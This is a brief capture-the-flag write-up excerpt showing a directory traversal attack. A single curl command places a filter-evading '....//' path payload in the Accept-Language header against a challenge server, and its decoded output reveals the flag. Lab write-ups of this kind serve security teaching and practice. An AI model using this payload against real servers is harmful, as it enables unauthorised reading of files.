* directory traversal attack

```
$ curl -s -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47 | grep -oE Mz.*= | base64 -d
35c3_this_flag_is_the_be5t_fl4g
```

Original writeup (http://kira924age.hatenadiary.com/entry/2018/12/30/160426).